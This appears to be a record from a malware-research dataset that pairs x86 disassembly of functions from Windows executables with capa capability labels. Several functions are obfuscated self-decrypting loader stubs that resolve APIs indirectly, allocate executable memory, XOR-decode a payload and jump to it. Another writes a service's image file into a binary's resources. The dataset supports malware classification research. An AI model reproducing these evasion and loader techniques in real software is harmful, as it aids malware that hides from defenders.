joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100e0a30
Capabilities:
Encode data using base64

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
xor ebp, ebp
push esi
test eax, eax
je 0x100e0a48
test byte [eax + 0x5c], 2
mov ebx, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._
jne 0x100e0a4d
mov ebx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov esi, dword [esp + 0x1c]
test esi, esi
jle 0x100e0b16
mov edx, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
inc edi
movzx eax, byte [edi - 1]
cmp esi, 3
jl 0x100e0ab0
movzx ecx, byte [edi]
shl eax, 8
or eax, ecx
movzx ecx, byte [edi + 1]
shl eax, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + ebx]
mov byte [edx + 1], cl
mov ecx, eax
shr ecx, 6
add edx, 2
and ecx, 0x3f
and eax, 0x3f
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
mov cl, byte [eax + ebx]
jmp 0x100e0af3
shl eax, 0x10
cmp esi, 2
jne 0x100e0ac0
movzx ecx, byte [edi]
shl ecx, 8
or eax, ecx
mov ecx, eax
shr ecx, 0x12
movzx ecx, byte [ecx + ebx]
mov byte [edx], cl
mov ecx, eax
shr ecx, 0xc
and ecx, 0x3f
movzx ecx, byte [ecx + ebx]
mov byte [edx + 1], cl
add edx, 2
cmp esi, 1
jne 0x100e0ae6
mov al, 0x3d
jmp 0x100e0aef
shr eax, 6
and eax, 0x3f
mov al, byte [eax + ebx]
mov byte [edx], al
mov cl, 0x3d
lea eax, [edx + 1]
sub esi, 3
lea edx, [eax + 1]
mov byte [eax], cl
add ebp, 4
add edi, 3
test esi, esi
jg 0x100e0a63
pop edi
pop esi
mov eax, ebp
mov byte [edx], 0
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x14]
pop esi
mov byte [eax], 0
mov eax, ebp
pop ebp
pop ebx
ret
Function at 0x100fbd50
Capabilities:
Encode data using xor

Disassembly:
mov eax, 8
call fcn.100011c0
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, dword [ebp + 0x14]
cmp edi, esi
ja 0x100fbd7e
shl edi, 4
lfence
add edi, dword [ebp + 0x40]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 8
ret
mov ecx, dword [ebp + 0x18]
cmp edi, ecx
jb 0x100fbdb8
mov eax, edi
sub eax, ecx
add eax, 4
and eax, 0xfffffffc
add eax, ecx
push 0x71
mov dword [ebp + 0x18], eax
push str.cryptomodesocb128.c
shl eax, 4
push eax
push dword [ebp + 0x40]
call sym.libcrypto_1_1.dll_CRYPTO_realloc
add esp, 0x10
test eax, eax
jne 0x100fbdb5
pop edi
pop esi
pop ebp
add esp, 8
ret
mov dword [ebp + 0x40], eax
mov eax, esi
shl eax, 4
mov dword [esp + 0x10], eax
mov eax, edi
mov edi, dword [esp + 0x10]
sub eax, esi
lfence
mov dword [esp + 0xc], eax
push ebx
mov eax, dword [ebp + 0x40]
add eax, edi
mov bl, byte [eax]
lea esi, [eax + 0x10]
push esi
shr bl, 7
push 1
neg bl
push eax
and bl, 0x87
call fcn.100fb990
xor byte [esi + 0xf], bl
add esp, 0xc
add edi, 0x10
sub dword [esp + 0x10], 1
jne 0x100fbdd1
mov edi, dword [esp + 0x20]
mov dword [ebp + 0x14], edi
shl edi, 4
add edi, dword [ebp + 0x40]
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 8
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40942f
pop dword [ebp - 0x50]
mov eax, 0xe5380bef
add eax, 0x1b088840
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x1c4a345f
add dword [ebp - 0x60], 0x320810ec
mov dword [ebp - 0x5c], 0xee8a1924
sub dword [ebp - 0x5c], 0xbc56ccdf
mov dword [ebp - 0x58], 0x5abc88bd
add dword [ebp - 0x58], 0xf18fbb71
mov dword [ebp - 0x54], 0x439447aa
sub dword [ebp - 0x54], 0x439447aa
lea eax, [ebp - 0x60]
push eax
mov eax, 0x23c24e65
sub eax, 0x23817e11
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x73311a8
add dword [ebp - 0x60], 0x6d3f57ae
mov dword [ebp - 0x5c], 0x3f20d27e
sub dword [ebp - 0x5c], 0xfdb47109
mov dword [ebp - 0x58], 0x5d6b4a2c
sub dword [ebp - 0x58], 0xf9fbddc0
mov dword [ebp - 0x54], 0x12f84406
sub dword [ebp - 0x54], 0x12f84406
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x8dc9d551
add eax, 0x7276fafb
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36eae
push 0
call eax
mov ecx, 0x3d84
mov ebx, eax
mov esi, 0xecd4e51a
sub esi, 0xec93351a
add esi, dword [ebp - 0x50]
mov edx, 0x3b81419a
add dword [ebp - 0x38], 0x4e18ecf2
mov edi, dword [esi]
xor dword [ebp - 0x30], esi
add edi, edx
mov dword [ebx], edi
add dword [ebp - 0x18], esi
add ebx, 0x3de4ba86
add ebx, 0xc21b457e
add esi, 0xad4e2604
add esi, 0x52b1da00
loop 0x409545
add eax, 0x89a2485a
sub eax, 0x89a15f77
xor ebx, ebx
add ebx, eax
add eax, 0xefdfd24f
add eax, 0x10202db6
mov ecx, 0xa8e0c0b7
add ecx, 0x575f3f49
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x402337
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x402337
lcall 0x5de5, 0x8b10c483
jmp loc.0078b5e4
Function at 0x2a30e3b1
Capabilities:
Terminate thread

Disassembly:
push 0xc
mov eax, 0x2a3549f2
call fcn.2a30266e
mov ebx, ecx
xor ecx, ecx
cmp dword [ebx], 0xb
mov edi, ecx
mov dword [ebp - 0x14], edi
jne 0x2a30e4a2
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
or dword [ebx + 0x1a0], 0xffffffff
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
lea esi, [eax + 0x12c]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, esi
jae 0x2a30e45b
mov edi, esi
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebx + 0x2d8]
mov esi, dword [ebx]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
cmp esi, 0xb
jne 0x2a30e458
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, edi
jb 0x2a30e41f
mov edi, dword [ebp - 0x14]
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp dword [ebx], 0xb
jne 0x2a30e482
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_TerminateThread]
xor edi, edi
inc edi
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor ecx, ecx
mov dword [ebx + 0x2d8], ecx
cmp dword [ebx + 0x18], 0
lea esi, [ebx + 0x1a0]
mov dword [esi], ecx
je 0x2a30e4d7
test di, di
jne 0x2a30e4d4
push esi
push dword [ebx + 0x18]
call fcn.2a3234b9
xor ecx, ecx
cmp dword [esi], ecx
jne 0x2a30e4d7
push esi
push dword [ebx + 0x14]
mov dword [ebx + 0x18], ecx
call fcn.2a3234b9
xor ecx, ecx
jmp 0x2a30e4d7
mov dword [ebx + 0x18], ecx
cmp word [ebx + 0x144], cx
je 0x2a30e55e
push ecx
push ecx
lea ecx, [ebp - 0x18]
call fcn.2a3234b9
mov edi, dword [0x2a36db18]
xor eax, eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebx + 0x40]
push eax
mov eax, dword [0x2a36db04]
push str.Cstring
mov esi, dword [eax + 0x14]
mov ecx, esi
call dword [str.Pv0]
call esi
mov esi, dword [edi + 0xd0]
pop ecx
movzx eax, ax
mov ecx, esi
push eax
push 0
call dword [str.Pv0]
call esi
add esp, 0x10
lea ecx, [ebp - 0x18]
push 0
push eax
call fcn.2a3234b9
cmp dword [ebp - 0x14], 0
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a3234b9
test al, al
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a33f665
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.2a3234b9
xor ecx, ecx
cmp dword [ebx + 0x34], 0
je 0x2a30e582
mov eax, dword [0x2a36d7bc]
push dword [ebx + 0x34]
mov esi, dword [eax + 0x284]
mov ecx, esi
call dword [str.Pv0]
call esi
pop ecx
xor ecx, ecx
mov dword [ebx + 0x34], ecx
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x2a30e5b6
push eax
mov eax, dword [0x2a36dabc]
cmp word [ebx + 0x196], cx
je 0x2a30e5a0
mov esi, dword [eax + 0x124]
jmp 0x2a30e5a6
mov esi, dword [eax + 0x11c]
mov ecx, esi
call dword [str.Pv0]
call esi
xor eax, eax
pop ecx
mov dword [ebx + 0x20], eax
mov dword [ebx], 2
call fcn.2a302b96
ret
Function at 0x2a3234b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x2a3234c8
pop dword [ebp - 0x44]
mov eax, 0xbff0c151
sub eax, 0x95be8c89
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x6e40c8c
add dword [ebp - 0x54], 0x476e38bf
mov dword [ebp - 0x50], 0xe02eb44b
sub dword [ebp - 0x50], 0xadfb6806
mov dword [ebp - 0x4c], 0xbc912d74
add dword [ebp - 0x4c], 0x8fbb16ba
mov dword [ebp - 0x48], 0x88ccb95f
add dword [ebp - 0x48], 0x773346a1
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xf69a033f
add dword [ebp - 0x54], 0x7dd86617
mov dword [ebp - 0x50], 0x25281bf1
sub dword [ebp - 0x50], 0xe3bbba7c
mov dword [ebp - 0x4c], 0x3da932d
add dword [ebp - 0x4c], 0x5f94d93f
mov dword [ebp - 0x48], 0x24d235aa
add dword [ebp - 0x48], 0xdb2dca56
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x4c20d
push 0
call eax
mov ecx, 0x4e96
mov edx, eax
mov ebx, 0xc1124558
sub ebx, 0x96da2f58
add ebx, dword [ebp - 0x44]
mov esi, 0x2246150c
mov edi, dword [ebx]
sub dword [ebp - 0x40], ebx
xor edi, esi
add dword [ebp - 0xc], edi
mov dword [edx], edi
add dword [ebp - 0x24], edi
add edx, 0x7659ada6
sub edx, 0x7659ada2
add ebx, 4
loop 0x2a3235d4
add eax, 0xe35fd152
sub eax, 0xe35ea427
mov ebx, eax
add eax, 0xd27fc5be
sub eax, 0xd27fc5b9
mov ecx, 0x5456d8be
sub ecx, 0x2a26d8be
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x2a32d61e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x2a35670e
call fcn.2a3041d5
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x2a32d83f
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.2a3234b9
add esp, 0x10
test eax, eax
js 0x2a32d839
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x2a32d6c2
push edi
call fcn.2a32eb0c
pop ecx
test al, al
je 0x2a32d6c2
mov eax, edi
call fcn.2a3534e0
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x2a32d6d4
push edi
lea ecx, [ebp - 0x424]
call fcn.2a3234b9
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.2a3234b9
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x2a32d839
push 0x60
push ebx
push eax
call fcn.2a32edc8
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x2a32d72c
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.2a32edc8
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x2a32d72c
call fcn.2a32be19
mov ebx, eax
jmp 0x2a32d808
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x2a32d753
call fcn.2a32be19
jmp 0x2a32d7fb
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x2a32d749
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x2a32d786
mov ebx, 0x8007000e
jmp 0x2a32d7fd
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.2a3234b9
jmp 0x2a32d7ac
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x2a32d77f
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.2a3234b9
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.2a3234b9
mov ebx, eax
test edi, edi
je 0x2a32d808
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x2a32d821
lea ecx, [ebp - 0x418]
call fcn.2a32c4ed
or dword [ebp - 4], 0xffffffff
jmp 0x2a32d831
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2a32d827
mov eax, ebx
jmp 0x2a32d86d
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x2a32d854
lea ecx, [ebp - 0x418]
call fcn.2a32c4ed
or dword [ebp - 4], 0xffffffff
jmp 0x2a32d864
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2a32d85a
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.2a30420f
ret 0x10
Function at 0x4026c0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Distribuijq
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x408d60]
test eax, eax
je 0x402715
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d64]
test eax, eax
je 0x402761
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d68]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d68]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402788
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4027b5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x4027d9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4027fb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40282d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40285d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x402896
push str.Distribuijq
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distribuijq
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x4028b7
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x403d90
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret
Function at 0x10033f0b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10033f1a
pop dword [ebp - 0x1c]
mov eax, 0xc5f231ec
sub eax, 0xb5eef2d2
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xc84d56bd
sub dword [ebp - 0x2c], 0x79fb1172
mov dword [ebp - 0x28], 0xaf3b5dfa
sub dword [ebp - 0x28], 0x7d0811b5
mov dword [ebp - 0x24], 0xc54c511f
add dword [ebp - 0x24], 0x86fff30f
mov dword [ebp - 0x20], 0x98ff1e29
sub dword [ebp - 0x20], 0x98ff1e29
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x65acc5b2
sub eax, 0x55a7f6d2
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb2bbc976
add dword [ebp - 0x2c], 0xc1b69fe0
mov dword [ebp - 0x28], 0x87f05bfd
sub dword [ebp - 0x28], 0x4683fa88
mov dword [ebp - 0x24], 0x782b5f34
add dword [ebp - 0x24], 0xeb440d38
mov dword [ebp - 0x20], 0xb0354edd
sub dword [ebp - 0x20], 0xb0354edd
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x16decb1
add eax, 0xe96e1d3
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x40129
push 0
call eax
mov ecx, 0xe8cab34b
sub ecx, 0xe8ca69b2
mov edx, eax
mov ebx, 0x7151df0d
add ebx, 0x9eb3d4f3
add ebx, dword [ebp - 0x1c]
mov edi, 0x52facb3c
add edi, 0x49abb543
add dword [ebp - 0x18], esi
mov esi, dword [ebx]
xor dword [ebp - 0xc], 0xedd98afe
add esi, edi
xor dword [ebp - 0xc], 0xe0d02a9a
mov dword [edx], esi
sub dword [ebp - 0xc], 0xb5c26de
add edx, 4
add ebx, 0xa36ff5c4
sub ebx, 0xa36ff5c0
loop 0x1003403c
add eax, 0x11937
xor ebx, ebx
add ebx, eax
add eax, 0xc6661382
sub eax, 0xc666137d
mov ecx, sym.libEGL.dll_Ordinal_0
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x402c2b
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 4]
push ebx
push edi
push eax
mov eax, dword [0x7a2d10]
xor edi, edi
or eax, 8
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402cbd
mov ebx, 0x105
jmp 0x402c76
cmp dword [ebp + 0x10], edi
jne 0x402cb1
push edi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.00402c2b
test eax, eax
jne 0x402c8c
push ebx
lea eax, [ebp - 0x10c]
push eax
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x402c5d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004061a4
test eax, eax
je 0x402cc5
push edi
push dword [0x7a2d10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402cbd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [0x7a2d10], edi
jne 0x402cba
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402cba
mov eax, edi
jmp 0x402cbd

Function at 0x402efb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push edi
xor edi, edi
test ecx, ecx
js 0x402f24
mov eax, dword [0x7a2c78]
push edi
add eax, ecx
push edi
push eax
push dword [0x40a014]
mov dword [0x40b50c], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00402d7c
test eax, eax
js 0x403003
push 4
lea eax, [ebp + 8]
push eax
push dword [0x40a014]
call fcn.00406206
test eax, eax
jne 0x402f50
push 0xfffffffffffffffd
pop eax
jmp 0x403003
add dword [0x40b50c], 4
push esi
push dword [ebp + 8]
call fcn.00402d7c
mov esi, eax
test esi, esi
jns 0x402f6b
jmp 0x403002
push ebx
cmp dword [ebp + 0x10], edi
jne 0x402fce
mov ecx, dword [ebp + 8]
test ecx, ecx
jle 0x402fff
mov ebx, 0x4000
mov edi, 0x791df0
cmp ecx, ebx
mov eax, ebx
cmovl eax, ecx
push eax
push edi
push dword [0x40a014]
mov dword [ebp - 4], eax
call fcn.00406206
test eax, eax
je 0x402ff1
push dword [ebp - 4]
push edi
push dword [ebp + 0xc]
call fcn.004062b1
test eax, eax
je 0x402fca
mov eax, dword [ebp - 4]
add esi, eax
mov ecx, dword [ebp + 8]
add dword [0x40b50c], eax
sub ecx, eax
mov dword [ebp + 8], ecx
test ecx, ecx
jg 0x402f86
jmp 0x402fff
push 0xfffffffffffffffe
jmp 0x402ff3
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x14]
cmp dword [ebp + 8], eax
cmovl eax, dword [ebp + 8]
push eax
push dword [ebp + 0x10]
push dword [0x40a014]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402ff6
push 0xfffffffffffffffd
pop eax
jmp 0x403001
mov esi, dword [ebp - 4]
add dword [0x40b50c], esi
mov eax, esi
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403028
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [ebp + 8], 0
je 0x40304d
mov eax, dword [0x40b520]
test eax, eax
je 0x403044
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
and dword [0x40b520], 0
jmp 0x4030c9
cmp dword [0x40b520], 0
je 0x40305f
push 0
call fcn.00405c1d
jmp 0x4030c9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x7a2c20]
jbe 0x4030c9
cmp dword [0x7a2418], 0
je 0x4030a4
test byte [0x7a2d14], 1
je 0x4030c9
call fcn.0040300a
push eax
lea eax, [ebp - 0x40]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
call fcn.004057bc
jmp 0x4030c9
push 0
push 0x40338e
push 0
push 0x6f
push dword [0x7a2414]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 5
push eax
mov dword [0x40b520], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esp, ebp
pop ebp
ret
Function at 0x4058a1
Capabilities:
Create directory

Disassembly:
push esi
xor esi, esi
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4058bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret 4

Function at 0x4058c1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push 4
pop eax
mov word [ebp - 0x1e], ax
mov eax, 0x408570
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov word [ebp - 0x20], 1
mov dword [ebp - 0x10], 0x408560
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40592f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405939
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
je 0x405933
xor eax, eax
jmp 0x405939
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esp, ebp
pop ebp
ret 4